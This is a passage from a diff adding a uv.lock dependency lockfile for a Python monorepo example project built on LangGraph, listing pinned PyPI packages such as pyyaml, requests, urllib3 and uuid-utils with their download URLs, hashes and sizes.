+    { url = "https://files.pythonhosted.org/packages/05/c0/b3be26a015601b822b97d9149ff8cb5ead58c66f981e04fedf4e762f4bd4/pyyaml-6.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8dc52c23056b9ddd46818a57b78404882310fb473d63f17b07d5c40421e47f8e", size = 761089, upload-time = "2025-09-25T21:32:17.56Z" },
+    { url = "https://files.pythonhosted.org/packages/be/8e/98435a21d1d4b46590d5459a22d88128103f8da4c2d4cb8f14f2a96504e1/pyyaml-6.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:41715c910c881bc081f1e8872880d3c650acf13dfa8214bad49ed4cede7c34ea", size = 790181, upload-time = "2025-09-25T21:32:18.834Z" },
+    { url = "https://files.pythonhosted.org/packages/74/93/7baea19427dcfbe1e5a372d81473250b379f04b1bd3c4c5ff825e2327202/pyyaml-6.0.3-cp312-cp312-win32.whl", hash = "sha256:96b533f0e99f6579b3d4d4995707cf36df9100d67e0c8303a0c55b27b5f99bc5", size = 137658, upload-time = "2025-09-25T21:32:20.209Z" },
+    { url = "https://files.pythonhosted.org/packages/86/bf/899e81e4cce32febab4fb42bb97dcdf66bc135272882d1987881a4b519e9/pyyaml-6.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:5fcd34e47f6e0b794d17de1b4ff496c00986e1c83f7ab2fb8fcfe9616ff7477b", size = 154003, upload-time = "2025-09-25T21:32:21.167Z" },
+    { url = "https://files.pythonhosted.org/packages/1a/08/67bd04656199bbb51dbed1439b7f27601dfb576fb864099c7ef0c3e55531/pyyaml-6.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:64386e5e707d03a7e172c0701abfb7e10f0fb753ee1d773128192742712a98fd", size = 140344, upload-time = "2025-09-25T21:32:22.617Z" },
+    { url = "https://files.pythonhosted.org/packages/d1/11/0fd08f8192109f7169db964b5707a2f1e8b745d4e239b784a5a1dd80d1db/pyyaml-6.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8da9669d359f02c0b91ccc01cac4a67f16afec0dac22c2ad09f46bee0697eba8", size = 181669, upload-time = "2025-09-25T21:32:23.673Z" },
+    { url = "https://files.pythonhosted.org/packages/b1/16/95309993f1d3748cd644e02e38b75d50cbc0d9561d21f390a76242ce073f/pyyaml-6.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:2283a07e2c21a2aa78d9c4442724ec1eb15f5e42a723b99cb3d822d48f5f7ad1", size = 173252, upload-time = "2025-09-25T21:32:25.149Z" },
+    { url = "https://files.pythonhosted.org/packages/50/31/b20f376d3f810b9b2371e72ef5adb33879b25edb7a6d072cb7ca0c486398/pyyaml-6.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ee2922902c45ae8ccada2c5b501ab86c36525b883eff4255313a253a3160861c", size = 767081, upload-time = "2025-09-25T21:32:26.575Z" },
+    { url = "https://files.pythonhosted.org/packages/49/1e/a55ca81e949270d5d4432fbbd19dfea5321eda7c41a849d443dc92fd1ff7/pyyaml-6.0.3-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a33284e20b78bd4a18c8c2282d549d10bc8408a2a7ff57653c0cf0b9be0afce5", size = 841159, upload-time = "2025-09-25T21:32:27.727Z" },
+    { url = "https://files.pythonhosted.org/packages/74/27/e5b8f34d02d9995b80abcef563ea1f8b56d20134d8f4e5e81733b1feceb2/pyyaml-6.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0f29edc409a6392443abf94b9cf89ce99889a1dd5376d94316ae5145dfedd5d6", size = 801626, upload-time = "2025-09-25T21:32:28.878Z" },
+    { url = "https://files.pythonhosted.org/packages/f9/11/ba845c23988798f40e52ba45f34849aa8a1f2d4af4b798588010792ebad6/pyyaml-6.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f7057c9a337546edc7973c0d3ba84ddcdf0daa14533c2065749c9075001090e6", size = 753613, upload-time = "2025-09-25T21:32:30.178Z" },
+    { url = "https://files.pythonhosted.org/packages/3d/e0/7966e1a7bfc0a45bf0a7fb6b98ea03fc9b8d84fa7f2229e9659680b69ee3/pyyaml-6.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:eda16858a3cab07b80edaf74336ece1f986ba330fdb8ee0d6c0d68fe82bc96be", size = 794115, upload-time = "2025-09-25T21:32:31.353Z" },
+    { url = "https://files.pythonhosted.org/packages/de/94/980b50a6531b3019e45ddeada0626d45fa85cbe22300844a7983285bed3b/pyyaml-6.0.3-cp313-cp313-win32.whl", hash = "sha256:d0eae10f8159e8fdad514efdc92d74fd8d682c933a6dd088030f3834bc8e6b26", size = 137427, upload-time = "2025-09-25T21:32:32.58Z" },
+    { url = "https://files.pythonhosted.org/packages/97/c9/39d5b874e8b28845e4ec2202b5da735d0199dbe5b8fb85f91398814a9a46/pyyaml-6.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:79005a0d97d5ddabfeeea4cf676af11e647e41d81c9a7722a193022accdb6b7c", size = 154090, upload-time = "2025-09-25T21:32:33.659Z" },
+    { url = "https://files.pythonhosted.org/packages/73/e8/2bdf3ca2090f68bb3d75b44da7bbc71843b19c9f2b9cb9b0f4ab7a5a4329/pyyaml-6.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:5498cd1645aa724a7c71c8f378eb29ebe23da2fc0d7a08071d89469bf1d2defb", size = 140246, upload-time = "2025-09-25T21:32:34.663Z" },
+    { url = "https://files.pythonhosted.org/packages/9d/8c/f4bd7f6465179953d3ac9bc44ac1a8a3e6122cf8ada906b4f96c60172d43/pyyaml-6.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:8d1fab6bb153a416f9aeb4b8763bc0f22a5586065f86f7664fc23339fc1c1fac", size = 181814, upload-time = "2025-09-25T21:32:35.712Z" },
+    { url = "https://files.pythonhosted.org/packages/bd/9c/4d95bb87eb2063d20db7b60faa3840c1b18025517ae857371c4dd55a6b3a/pyyaml-6.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:34d5fcd24b8445fadc33f9cf348c1047101756fd760b4dacb5c3e99755703310", size = 173809, upload-time = "2025-09-25T21:32:36.789Z" },
+    { url = "https://files.pythonhosted.org/packages/92/b5/47e807c2623074914e29dabd16cbbdd4bf5e9b2db9f8090fa64411fc5382/pyyaml-6.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:501a031947e3a9025ed4405a168e6ef5ae3126c59f90ce0cd6f2bfc477be31b7", size = 766454, upload-time = "2025-09-25T21:32:37.966Z" },
+    { url = "https://files.pythonhosted.org/packages/02/9e/e5e9b168be58564121efb3de6859c452fccde0ab093d8438905899a3a483/pyyaml-6.0.3-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b3bc83488de33889877a0f2543ade9f70c67d66d9ebb4ac959502e12de895788", size = 836355, upload-time = "2025-09-25T21:32:39.178Z" },
+    { url = "https://files.pythonhosted.org/packages/88/f9/16491d7ed2a919954993e48aa941b200f38040928474c9e85ea9e64222c3/pyyaml-6.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c458b6d084f9b935061bc36216e8a69a7e293a2f1e68bf956dcd9e6cbcd143f5", size = 794175, upload-time = "2025-09-25T21:32:40.865Z" },
+    { url = "https://files.pythonhosted.org/packages/dd/3f/5989debef34dc6397317802b527dbbafb2b4760878a53d4166579111411e/pyyaml-6.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7c6610def4f163542a622a73fb39f534f8c101d690126992300bf3207eab9764", size = 755228, upload-time = "2025-09-25T21:32:42.084Z" },
+    { url = "https://files.pythonhosted.org/packages/d7/ce/af88a49043cd2e265be63d083fc75b27b6ed062f5f9fd6cdc223ad62f03e/pyyaml-6.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5190d403f121660ce8d1d2c1bb2ef1bd05b5f68533fc5c2ea899bd15f4399b35", size = 789194, upload-time = "2025-09-25T21:32:43.362Z" },
+    { url = "https://files.pythonhosted.org/packages/23/20/bb6982b26a40bb43951265ba29d4c246ef0ff59c9fdcdf0ed04e0687de4d/pyyaml-6.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:4a2e8cebe2ff6ab7d1050ecd59c25d4c8bd7e6f400f5f82b96557ac0abafd0ac", size = 156429, upload-time = "2025-09-25T21:32:57.844Z" },
+    { url = "https://files.pythonhosted.org/packages/f4/f4/a4541072bb9422c8a883ab55255f918fa378ecf083f5b85e87fc2b4eda1b/pyyaml-6.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:93dda82c9c22deb0a405ea4dc5f2d0cda384168e466364dec6255b293923b2f3", size = 143912, upload-time = "2025-09-25T21:32:59.247Z" },
+    { url = "https://files.pythonhosted.org/packages/7c/f9/07dd09ae774e4616edf6cda684ee78f97777bdd15847253637a6f052a62f/pyyaml-6.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:02893d100e99e03eda1c8fd5c441d8c60103fd175728e23e431db1b589cf5ab3", size = 189108, upload-time = "2025-09-25T21:32:44.377Z" },
+    { url = "https://files.pythonhosted.org/packages/4e/78/8d08c9fb7ce09ad8c38ad533c1191cf27f7ae1effe5bb9400a46d9437fcf/pyyaml-6.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c1ff362665ae507275af2853520967820d9124984e0f7466736aea23d8611fba", size = 183641, upload-time = "2025-09-25T21:32:45.407Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/5b/3babb19104a46945cf816d047db2788bcaf8c94527a805610b0289a01c6b/pyyaml-6.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6adc77889b628398debc7b65c073bcb99c4a0237b248cacaf3fe8a557563ef6c", size = 831901, upload-time = "2025-09-25T21:32:48.83Z" },
+    { url = "https://files.pythonhosted.org/packages/8b/cc/dff0684d8dc44da4d22a13f35f073d558c268780ce3c6ba1b87055bb0b87/pyyaml-6.0.3-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a80cb027f6b349846a3bf6d73b5e95e782175e52f22108cfa17876aaeff93702", size = 861132, upload-time = "2025-09-25T21:32:50.149Z" },
+    { url = "https://files.pythonhosted.org/packages/b1/5e/f77dc6b9036943e285ba76b49e118d9ea929885becb0a29ba8a7c75e29fe/pyyaml-6.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:00c4bdeba853cc34e7dd471f16b4114f4162dc03e6b7afcc2128711f0eca823c", size = 839261, upload-time = "2025-09-25T21:32:51.808Z" },
+    { url = "https://files.pythonhosted.org/packages/ce/88/a9db1376aa2a228197c58b37302f284b5617f56a5d959fd1763fb1675ce6/pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:66e1674c3ef6f541c35191caae2d429b967b99e02040f5ba928632d9a7f0f065", size = 805272, upload-time = "2025-09-25T21:32:52.941Z" },
+    { url = "https://files.pythonhosted.org/packages/da/92/1446574745d74df0c92e6aa4a7b0b3130706a4142b2d1a5869f2eaa423c6/pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:16249ee61e95f858e83976573de0f5b2893b3677ba71c9dd36b9cf8be9ac6d65", size = 829923, upload-time = "2025-09-25T21:32:54.537Z" },
+    { url = "https://files.pythonhosted.org/packages/f0/7a/1c7270340330e575b92f397352af856a8c06f230aa3e76f86b39d01b416a/pyyaml-6.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4ad1906908f2f5ae4e5a8ddfce73c320c2a1429ec52eafd27138b7f1cbe341c9", size = 174062, upload-time = "2025-09-25T21:32:55.767Z" },
+    { url = "https://files.pythonhosted.org/packages/f1/12/de94a39c2ef588c7e6455cfbe7343d3b2dc9d6b6b2f40c4c6565744c873d/pyyaml-6.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:ebc55a14a21cb14062aa4162f906cd962b28e2e9ea38f9b4391244cd8de4ae0b", size = 149341, upload-time = "2025-09-25T21:32:56.828Z" },
+]
+
+[[package]]
+name = "requests"
+version = "2.33.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "certifi" },
+    { name = "charset-normalizer" },
+    { name = "idna" },
+    { name = "urllib3" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/5f/a4/98b9c7c6428a668bf7e42ebb7c79d576a1c3c1e3ae2d47e674b468388871/requests-2.33.1.tar.gz", hash = "sha256:18817f8c57c6263968bc123d237e3b8b08ac046f5456bd1e307ee8f4250d3517", size = 134120, upload-time = "2026-03-30T16:09:15.531Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/d7/8e/7540e8a2036f79a125c1d2ebadf69ed7901608859186c856fa0388ef4197/requests-2.33.1-py3-none-any.whl", hash = "sha256:4e6d1ef462f3626a1f0a0a9c42dd93c63bad33f9f1c1937509b8c5c8718ab56a", size = 64947, upload-time = "2026-03-30T16:09:13.83Z" },
+]
+
+[[package]]
+name = "requests-toolbelt"
+version = "1.0.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "requests" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/f3/61/d7545dafb7ac2230c70d38d31cbfe4cc64f7144dc41f6e4e4b78ecd9f5bb/requests-toolbelt-1.0.0.tar.gz", hash = "sha256:7681a0a3d047012b5bdc0ee37d7f8f07ebe76ab08caeccfc3921ce23c88d5bc6", size = 206888, upload-time = "2023-05-01T04:11:33.229Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/3f/51/d4db610ef29373b879047326cbf6fa98b6c1969d6f6dc423279de2b1be2c/requests_toolbelt-1.0.0-py2.py3-none-any.whl", hash = "sha256:cccfdd665f0a24fcf4726e690f65639d272bb0637b9b92dfd91a5568ccf6bd06", size = 54481, upload-time = "2023-05-01T04:11:28.427Z" },
+]
+
+[[package]]
+name = "shared"
+version = "0.0.1"
+source = { editable = "libs/shared" }
+
+[[package]]
+name = "tenacity"
+version = "9.1.4"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/47/c6/ee486fd809e357697ee8a44d3d69222b344920433d3b6666ccd9b374630c/tenacity-9.1.4.tar.gz", hash = "sha256:adb31d4c263f2bd041081ab33b498309a57c77f9acf2db65aadf0898179cf93a", size = 49413, upload-time = "2026-02-07T10:45:33.841Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/d7/c1/eb8f9debc45d3b7918a32ab756658a0904732f75e555402972246b0b8e71/tenacity-9.1.4-py3-none-any.whl", hash = "sha256:6095a360c919085f28c6527de529e76a06ad89b23659fa881ae0649b867a9d55", size = 28926, upload-time = "2026-02-07T10:45:32.24Z" },
+]
+
+[[package]]
+name = "typing-extensions"
+version = "4.15.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" },
+]
+
+[[package]]
+name = "typing-inspection"
+version = "0.4.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "typing-extensions" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/55/e3/70399cb7dd41c10ac53367ae42139cf4b1ca5f36bb3dc6c9d33acdb43655/typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464", size = 75949, upload-time = "2025-10-01T02:14:41.687Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/dc/9b/47798a6c91d8bdb567fe2698fe81e0c6b7cb7ef4d13da4114b41d239f65d/typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7", size = 14611, upload-time = "2025-10-01T02:14:40.154Z" },
+]
+
+[[package]]
+name = "tzdata"
+version = "2026.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/ba/19/1b9b0e29f30c6d35cb345486df41110984ea67ae69dddbc0e8a100999493/tzdata-2026.2.tar.gz", hash = "sha256:9173fde7d80d9018e02a662e168e5a2d04f87c41ea174b139fbef642eda62d10", size = 198254, upload-time = "2026-04-24T15:22:08.651Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/ce/e4/dccd7f47c4b64213ac01ef921a1337ee6e30e8c6466046018326977efd95/tzdata-2026.2-py2.py3-none-any.whl", hash = "sha256:bbe9af844f658da81a5f95019480da3a89415801f6cc966806612cc7169bffe7", size = 349321, upload-time = "2026-04-24T15:22:05.876Z" },
+]
+
+[[package]]
+name = "urllib3"
+version = "2.7.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/53/0c/06f8b233b8fd13b9e5ee11424ef85419ba0d8ba0b3138bf360be2ff56953/urllib3-2.7.0.tar.gz", hash = "sha256:231e0ec3b63ceb14667c67be60f2f2c40a518cb38b03af60abc813da26505f4c", size = 433602, upload-time = "2026-05-07T16:13:18.596Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", hash = "sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897", size = 131087, upload-time = "2026-05-07T16:13:17.151Z" },
+]
+
+[[package]]
+name = "uuid-utils"
+version = "0.14.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/7b/d1/38a573f0c631c062cf42fa1f5d021d4dd3c31fb23e4376e4b56b0c9fbbed/uuid_utils-0.14.1.tar.gz", hash = "sha256:9bfc95f64af80ccf129c604fb6b8ca66c6f256451e32bc4570f760e4309c9b69", size = 22195, upload-time = "2026-02-20T22:50:38.833Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/43/b7/add4363039a34506a58457d96d4aa2126061df3a143eb4d042aedd6a2e76/uuid_utils-0.14.1-cp39-abi3-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:93a3b5dc798a54a1feb693f2d1cb4cf08258c32ff05ae4929b5f0a2ca624a4f0", size = 604679, upload-time = "2026-02-20T22:50:27.469Z" },
+    { url = "https://files.pythonhosted.org/packages/dd/84/d1d0bef50d9e66d31b2019997c741b42274d53dde2e001b7a83e9511c339/uuid_utils-0.14.1-cp39-abi3-macosx_10_12_x86_64.whl", hash = "sha256:ccd65a4b8e83af23eae5e56d88034b2fe7264f465d3e830845f10d1591b81741", size = 309346, upload-time = "2026-02-20T22:50:31.857Z" },
+    { url = "https://files.pythonhosted.org/packages/ef/ed/b6d6fd52a6636d7c3eddf97d68da50910bf17cd5ac221992506fb56cf12e/uuid_utils-0.14.1-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b56b0cacd81583834820588378e432b0696186683b813058b707aedc1e16c4b1", size = 344714, upload-time = "2026-02-20T22:50:42.642Z" },
+    { url = "https://files.pythonhosted.org/packages/a8/a7/a19a1719fb626fe0b31882db36056d44fe904dc0cf15b06fdf56b2679cf7/uuid_utils-0.14.1-cp39-abi3-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bb3cf14de789097320a3c56bfdfdd51b1225d11d67298afbedee7e84e3837c96", size = 350914, upload-time = "2026-02-20T22:50:36.487Z" },
+    { url = "https://files.pythonhosted.org/packages/1d/fc/f6690e667fdc3bb1a73f57951f97497771c56fe23e3d302d7404be394d4f/uuid_utils-0.14.1-cp39-abi3-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:60e0854a90d67f4b0cc6e54773deb8be618f4c9bad98d3326f081423b5d14fae", size = 482609, upload-time = "2026-02-20T22:50:37.511Z" },
+    { url = "https://files.pythonhosted.org/packages/54/6e/dcd3fa031320921a12ec7b4672dea3bd1dd90ddffa363a91831ba834d559/uuid_utils-0.14.1-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ce6743ba194de3910b5feb1a62590cd2587e33a73ab6af8a01b642ceb5055862", size = 345699, upload-time = "2026-02-20T22:50:46.87Z" },
+    { url = "https://files.pythonhosted.org/packages/04/28/e5220204b58b44ac0047226a9d016a113fde039280cc8732d9e6da43b39f/uuid_utils-0.14.1-cp39-abi3-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:043fb58fde6cf1620a6c066382f04f87a8e74feb0f95a585e4ed46f5d44af57b", size = 372205, upload-time = "2026-02-20T22:50:28.438Z" },
+    { url = "https://files.pythonhosted.org/packages/c7/d9/3d2eb98af94b8dfffc82b6a33b4dfc87b0a5de2c68a28f6dde0db1f8681b/uuid_utils-0.14.1-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:c915d53f22945e55fe0d3d3b0b87fd965a57f5fd15666fd92d6593a73b1dd297", size = 521836, upload-time = "2026-02-20T22:50:23.057Z" },
+    { url = "https://files.pythonhosted.org/packages/a8/15/0eb106cc6fe182f7577bc0ab6e2f0a40be247f35c5e297dbf7bbc460bd02/uuid_utils-0.14.1-cp39-abi3-musllinux_1_2_armv7l.whl", hash = "sha256:0972488e3f9b449e83f006ead5a0e0a33ad4a13e4462e865b7c286ab7d7566a3", size = 625260, upload-time = "2026-02-20T22:50:25.949Z" },
+    { url = "https://files.pythonhosted.org/packages/3c/17/f539507091334b109e7496830af2f093d9fc8082411eafd3ece58af1f8ba/uuid_utils-0.14.1-cp39-abi3-musllinux_1_2_i686.whl", hash = "sha256:1c238812ae0c8ffe77d8d447a32c6dfd058ea4631246b08b5a71df586ff08531", size = 587824, upload-time = "2026-02-20T22:50:35.225Z" },
+    { url = "https://files.pythonhosted.org/packages/2e/c2/d37a7b2e41f153519367d4db01f0526e0d4b06f1a4a87f1c5dfca5d70a8b/uuid_utils-0.14.1-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:bec8f8ef627af86abf8298e7ec50926627e29b34fa907fcfbedb45aaa72bca43", size = 551407, upload-time = "2026-02-20T22:50:44.915Z" },
+    { url = "https://files.pythonhosted.org/packages/65/36/2d24b2cbe78547c6532da33fb8613debd3126eccc33a6374ab788f5e46e9/uuid_utils-0.14.1-cp39-abi3-win32.whl", hash = "sha256:b54d6aa6252d96bac1fdbc80d26ba71bad9f220b2724d692ad2f2310c22ef523", size = 183476, upload-time = "2026-02-20T22:50:32.745Z" },
+    { url = "https://files.pythonhosted.org/packages/83/92/2d7e90df8b1a69ec4cff33243ce02b7a62f926ef9e2f0eca5a026889cd73/uuid_utils-0.14.1-cp39-abi3-win_amd64.whl", hash = "sha256:fc27638c2ce267a0ce3e06828aff786f91367f093c80625ee21dad0208e0f5ba", size = 187147, upload-time = "2026-02-20T22:50:45.807Z" },
+    { url = "https://files.pythonhosted.org/packages/d9/26/529f4beee17e5248e37e0bc17a2761d34c0fa3b1e5729c88adb2065bae6e/uuid_utils-0.14.1-cp39-abi3-win_arm64.whl", hash = "sha256:b04cb49b42afbc4ff8dbc60cf054930afc479d6f4dd7f1ec3bbe5dbfdde06b7a", size = 188132, upload-time = "2026-02-20T22:50:41.718Z" },
+    { url = "https://files.pythonhosted.org/packages/91/f9/6c64bdbf71f58ccde7919e00491812556f446a5291573af92c49a5e9aaef/uuid_utils-0.14.1-pp311-pypy311_pp73-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:b197cd5424cf89fb019ca7f53641d05bfe34b1879614bed111c9c313b5574cd8", size = 591617, upload-time = "2026-02-20T22:50:24.532Z" },
+    { url = "https://files.pythonhosted.org/packages/d0/f0/758c3b0fb0c4871c7704fef26a5bc861de4f8a68e4831669883bebe07b0f/uuid_utils-0.14.1-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:12c65020ba6cb6abe1d57fcbfc2d0ea0506c67049ee031714057f5caf0f9bc9c", size = 303702, upload-time = "2026-02-20T22:50:40.687Z" },
+    { url = "https://files.pythonhosted.org/packages/85/89/d91862b544c695cd58855efe3201f83894ed82fffe34500774238ab8eba7/uuid_utils-0.14.1-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0b5d2ad28063d422ccc2c28d46471d47b61a58de885d35113a8f18cb547e25bf", size = 337678, upload-time = "2026-02-20T22:50:39.768Z" },
+    { url = "https://files.pythonhosted.org/packages/ee/6b/cf342ba8a898f1de024be0243fac67c025cad530c79ea7f89c4ce718891a/uuid_utils-0.14.1-pp311-pypy311_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:da2234387b45fde40b0fedfee64a0ba591caeea9c48c7698ab6e2d85c7991533", size = 343711, upload-time = "2026-02-20T22:50:43.965Z" },
+    { url = "https://files.pythonhosted.org/packages/b3/20/049418d094d396dfa6606b30af925cc68a6670c3b9103b23e6990f84b589/uuid_utils-0.14.1-pp311-pypy311_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:50fffc2827348c1e48972eed3d1c698959e63f9d030aa5dd82ba451113158a62", size = 476731, upload-time = "2026-02-20T22:50:30.589Z" },
+    { url = "https://files.pythonhosted.org/packages/77/a1/0857f64d53a90321e6a46a3d4cc394f50e1366132dcd2ae147f9326ca98b/uuid_utils-0.14.1-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c1dbe718765f70f5b7f9b7f66b6a937802941b1cc56bcf642ce0274169741e01", size = 338902, upload-time = "2026-02-20T22:50:33.927Z" },
+    { url = "https://files.pythonhosted.org/packages/ed/d0/5bf7cbf1ac138c92b9ac21066d18faf4d7e7f651047b700eb192ca4b9fdb/uuid_utils-0.14.1-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:258186964039a8e36db10810c1ece879d229b01331e09e9030bc5dcabe231bd2", size = 364700, upload-time = "2026-02-20T22:50:21.732Z" },
+]
+
+[[package]]
+name = "uv-monorepo-example"
+version = "0.0.1"
+source = { virtual = "." }
+dependencies = [
+    { name = "langchain-core" },
+    { name = "langgraph" },
+    { name = "langgraph-checkpoint-postgres" },
+]
+
+[package.metadata]
+requires-dist = [
+    { name = "langchain-core", specifier = ">=1.3.3" },
+    { name = "langgraph", specifier = ">=0.6.0,<2" },
+    { name = "langgraph-checkpoint-postgres", specifier = ">=3.0.0" },
+]
+
+[[package]]
+name = "xxhash"
+version = "3.6.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/02/84/30869e01909fb37a6cc7e18688ee8bf1e42d57e7e0777636bd47524c43c7/xxhash-3.6.0.tar.gz", hash = "sha256:f0162a78b13a0d7617b2845b90c763339d1f1d82bb04a4b07f4ab535cc5e05d6", size = 85160, upload-time = "2025-10-02T14:37:08.097Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/17/d4/cc2f0400e9154df4b9964249da78ebd72f318e35ccc425e9f403c392f22a/xxhash-3.6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b47bbd8cf2d72797f3c2772eaaac0ded3d3af26481a26d7d7d41dc2d3c46b04a", size = 32844, upload-time = "2025-10-02T14:34:14.037Z" },
+    { url = "https://files.pythonhosted.org/packages/5e/ec/1cc11cd13e26ea8bc3cb4af4eaadd8d46d5014aebb67be3f71fb0b68802a/xxhash-3.6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2b6821e94346f96db75abaa6e255706fb06ebd530899ed76d32cd99f20dc52fa", size = 30809, upload-time = "2025-10-02T14:34:15.484Z" },
+    { url = "https://files.pythonhosted.org/packages/04/5f/19fe357ea348d98ca22f456f75a30ac0916b51c753e1f8b2e0e6fb884cce/xxhash-3.6.0-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:d0a9751f71a1a65ce3584e9cae4467651c7e70c9d31017fa57574583a4540248", size = 194665, upload-time = "2025-10-02T14:34:16.541Z" },
+    { url = "https://files.pythonhosted.org/packages/90/3b/d1f1a8f5442a5fd8beedae110c5af7604dc37349a8e16519c13c19a9a2de/xxhash-3.6.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8b29ee68625ab37b04c0b40c3fafdf24d2f75ccd778333cfb698f65f6c463f62", size = 213550, upload-time = "2025-10-02T14:34:17.878Z" },
